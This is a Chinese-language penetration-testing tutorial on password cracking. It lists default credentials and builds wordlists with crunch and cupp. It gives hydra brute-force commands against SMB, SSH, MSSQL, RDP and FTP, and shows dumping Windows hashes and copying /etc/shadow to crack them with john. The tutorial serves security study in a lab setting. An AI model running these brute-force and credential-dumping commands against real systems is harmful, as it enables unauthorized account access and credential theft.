目录
- 1 口令安全威胁
- 1.1 口令安全概述
- 1.2 口令安全现状
- 1.2.1 弱口令
- 1.2.2 默认口令
- 1.2.3 明文传输
- 2 口令破解
- 2.1 暴力破解
- 2.2 字典破解
- 2.2.1 弱口令字典
- 2.2.2 社工字典
- 2.2.3 字符集字典
- crunch的**用法**如下:
- crunch生成密码字典实例:
- 简单介绍字典
- 3 远程破解工具hydra
- 4 Windows口令破解
- 4.1 windows口令远程破解
- 4.2 windows口令本地破解(当入侵主机时才能采用此方法)
- 5 linux 口令破解
- 5.1 远程破解ssh 服务
- 5.2 本地shadow 文件破解
- 6 网络服务口令破解
- 参考文章
1 口令安全威胁
1.1 口令安全概述
现在很多地方以用户名(账户)和口令(密码)作为鉴权的方式,口令(密码)就意味着访问权限。例如网站后台、数据库、服务器、个人电脑、QQ、邮箱等等。
1.2 口令安全现状
1.2.1 弱口令
类似123456、654321、admin123 等这些常见的弱密码
1.2.2 默认口令
很多应用或者系统存在默认口令。比如phpstudy 的mysql 数据库默认账密[root/root], Tomcat 管理控制台默认账密[tomcat/tomcat] 等。平时注意收集默认口令。
1.2.3 明文传输
比如HTTP|FTP|TELNET等服务,在网络中传输的数据流都是明文的,包括口令认证信息等。这样的服务,有嗅探的风险。
2 口令破解
《第20节 简单密码破解—基于windows系统》基于windows系统介绍了简单密码破解,本文是在该文的基础上介绍得更加详细。
2.1 暴力破解
暴力破解就是利用所有可能的字符组密码,去尝试破解。这是最原始,粗暴的破解方法,根据运算能力,如果能够承受的起时间成本的话,最终会爆破出密码。下表根据不同的位数生成密码的空间大小
字符集 | 密码位数 | 密码空间 |
---|---|---|
[0-9] | 8 位 | 10^8=100000000 |
[0-9][a-z] | 8位 | 36^8=2821109907456 |
[0-9][a-z] | 1-8位 | ?? |
生成字典工具:crunch(kali自带)
crunch 1 8 0123456789abcdefghijklmnopqrstuvwxyz
#密码最短1位,最长8位,字符集为0123456789abcdefghijklmnopqrstuvwxyz
2.2 字典破解
如果 能通过比较合理的条件,删选或者滤掉一些全字符组合内容,就会打幅度降低爆破的成本。我们把筛选出来的密码组成特定的字典。用字典爆破密码也是可以的,但是这样可能会漏掉真正的密码。
密码字典大致分为以下几大类
2.2.1 弱口令字典
比如123456,admin 等这样的默认口令或弱口令
2.2.2 社工字典
人在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见的密码组合“名字+生日”
[zhangsan1992]
社工字典更具针对性,准确率也比较高。
我们可以根据个人信息生成密码字典。可以使用cupp工具,但是cupp工具 是国外人开发的。常用的还有中国开发的亦思社会工程学字典生成器等。以下为在kali上安装cupp工具并使用。
apt-get update #更新软件列表apt-get install cuppcupp -i
假如有这样一个目标的信息:[zhangsan|ajest|19920701|dnsec|123],利用cupp生成密码字典过程如下:
2.2.3 字符集字典
如果能确定密码的字符集合,也将大大降低爆破的成本。字符集字典常见的比如真空密码字典生成器和crunch(kali自带)。
crunch:是一种创建密码字典的工具,按照指定的规则生成密码字典,可以灵活的定制自己的字典文件。
使用crunch 工具生成的密码可以输出到屏幕,保存文件或另一个程序。尤其是渗透测试需要爆破的时候,字典的编排等直接影响到我们的爆破速度,对整个渗透测试流程起着十分重要的作用。
crunch的用法如下:
(1)查看帮助:man crunch > crunch.help
(2)命令格式:crunch min-len max-len [charset string] [options]
(3)参数说明:
- min-len:设定密码的最小长度
- max-len,设定密码的最大长度
- charset string,字符集
(4)oprions
- -b:指定文件输出的大小,避免字典文件过大
- -c:指定文件输出的行数,记包含密码的个数
- -d:限制相同元素出现的次数
- -e:定义停止字符,即到该字符串就停止生成
- -f:调用库文件(/usr/share/crunch/charset.lst)
- -i:改变输出格式,即aaa,aab -> aaa,baa
- -o:将密码保存到指定文件
- -q:读取密码文件,即读取pass.txt
- -r:定义重复一个字符串就重新开始
- -s:指定一个开始的字符
- -t:指定密码输出的格式
- -u:禁止打印百分比
- -z:压缩生成的字典文件,支持gzip,bzip2,lzma,7z
- -l:生成特殊字符
- -p:指定生成元素
(5)查看库文件:cat /usr/share/crunch/charset.lst
.字符集支持自定义。
(6)特殊字符
- %:代表数字
- ^:代表特殊符号
- @:代表小写字母
- ,:代表大写字母
crunch生成密码字典实例:
(1)生成1-8位密码字典,字符集合位小写字母,从a 开始到zzzzzzzz结束
crunch 1 8
(2)生成1-6位的密码字典,字符集合位[abcdefg],从a 开始到gggggg结束
crunch 1 6 abcdefg
(3)生成3 位密码字典,字符集合[ab ],从a 开始到b结束
crunch 3 3 ab
(4)生成指定字符串,比如生日的日期
crunch 8 8 -t 199307%% -e 19930731
#-t:指定密码输出的格式
#-e:定义停止字符,即到该字符串就停止生成
(5)生成元素的组合,比如123.com
crunch 7 7 -t %%%.com -s 111.com -e 123.com
#-t:指定密码输出的格式
#-s:指定一个开始的字符
#-e:定义停止字符,即到该字符串就停止生成
(6)在字典中输出特殊字符
crunch 3 3 abc -t @@@ -l @aa
#-t:指定密码输出的格式
#-l:生成特殊字符
(7)以元素组合生成字典
zhangsan|1993|0701
crunch 4 4 -p AJEST 1992 0701
# -p:指定生成元素
(8)保存字典文件
crunch 11 11 -t 1700010%%%% -b 20mb -o START
# -b:指定文件输出的大小,避免字典文件过大
#-o:将密码保存到指定文件
自定义库文件中的字符集合,并创建自定义字符集合[*.com] 字典文件
#自定义库文件中的字符集合
vim /usr/share/crunch/charset.lst
test=[123]crunch 5 5 -f charset.lst test -t @.com
#-f:调用库文件(/usr/share/crunch/charset.lst)
简单介绍字典
平时多注意收集以下字典
(1)子域名字典
(2)默认账号密码字典
(3)弱口令字典
(4)文件路径字典
- 日志文件
- Web 目录
(5)常用变量名字典
(6)常用文件名字典
3 远程破解工具hydra
进行口令破解时,有以下几种情况:
(1)用户名未知,密码未知
(2)用户名已知,密码未知
(3)用户名未知,密码已知
hydra为kali自带,其常用的参数如下:
hydra参数:
(1)-l:指定一个用户名
(2)-L:指定用户名字典
(3)-p:指定一个密码
(4)-P:指定密码字典
(5)-vV:显示爆破细节
(6)-o:保存爆破结果
(7)-f:找到正确的密码就停止爆破
(8)-t:线程
(9)-e
- n:null,用空密码去尝试
- s:same,与用户名一致
- r:反向,与用户名反向
4 Windows口令破解
4.1 windows口令远程破解
破解前需要先准备用户字典和密码字典,
使用hydra工具进行密码破解
hydra -l administrator -P ../dic/winPass.txt 192.168.1.200 smb -e nsr
4.2 windows口令本地破解(当入侵主机时才能采用此方法)
除了可以远程爆破windows密码,我们还可以从本地破解windows密码。
本地Windows 账户破解主要有两种方式
(1)从内存中读取windows 密码
我们可以用getpass 直接从Windows 系统内存中读取用户数据
(2) Windows hash 值破解
Windows hash 值破解一共有两步操作。如下所示,或者还可参考《第20节 简单密码破解—基于windows系统》
- 首先我们使用QuarkPwDump 工具读取(导出)Windows 账户密码hash 值,
C:\Users\Administrator\Desktop\QuarksPwDump.exe -dhl -t JOHN -o win2k8.hash
-o为保存文本
- 然后在使用 john 工具(kali自带)破解。可以将Windows 主机的win2k8.hash内容复制到kali虚拟机中的win2k8.hash文件中
#--format指定格式
#--wordlist指定密码字典,不指定字典也会进行爆破,但是特别慢
#字典写绝对路径,爆破时字典建议都写绝对路径,避免出错
john win2k8.hash --format=NT --wordlist=/root/dic/winPass.dic查看之前爆破的结果
john win2k8.hash --show --format=NT
5 linux 口令破解
linux 口令破解,也分远程破解和和本地破解。
远程破解主要是爆破ssh 服务,属于在线密码攻击。
本地破解需要拿到linux 的shadow 文件,进行hash 值破解,属于离线密码攻击
5.1 远程破解ssh 服务
我们使用hydra 攻击破解ssh 服务,hydra 攻击已经自动集成在kali 虚拟机中。
命令如下:
hydra -l root -P /root/hydra/dic/winPass.txt 192.168.1.150 ssh
hydra -L /root/hydra/dic/user.txt -P /root/hydra/dic/winPass.txt 127.0.0.1 ssh -e nsr -vV -o 127.ssh
5.2 本地shadow 文件破解
我们可以使用john 工具,破解shadow 密码文件。john 也是自动集成在kali 中。john 破解的时候也需要准备一个字典。
cp /etc/shadom ./shadom #将shadom复制到当前目录中
john shadow #爆破
john shadow --show #查看爆破结果
6 网络服务口令破解
在渗透测试中,我们同样会对服务的口令进行审计
·破解MSSQL 口令
hydra -l sa -P /root/dic/test_pwd.dic 192.168.1.10 mssql -vV
·破解RDP 口令
hydra -l administrator -P /root/dic/test_pwd.dic 192.168.1.10 rdp -vV
·破解FTP 口令
hydra -L /root/dic/test_user.dic -P /root/dic/test_pwd.dic 192.168.1.10 ftp -vV
参考文章
[1] 《[网络安全学习篇53]:口令破解》
[2] 视频传送门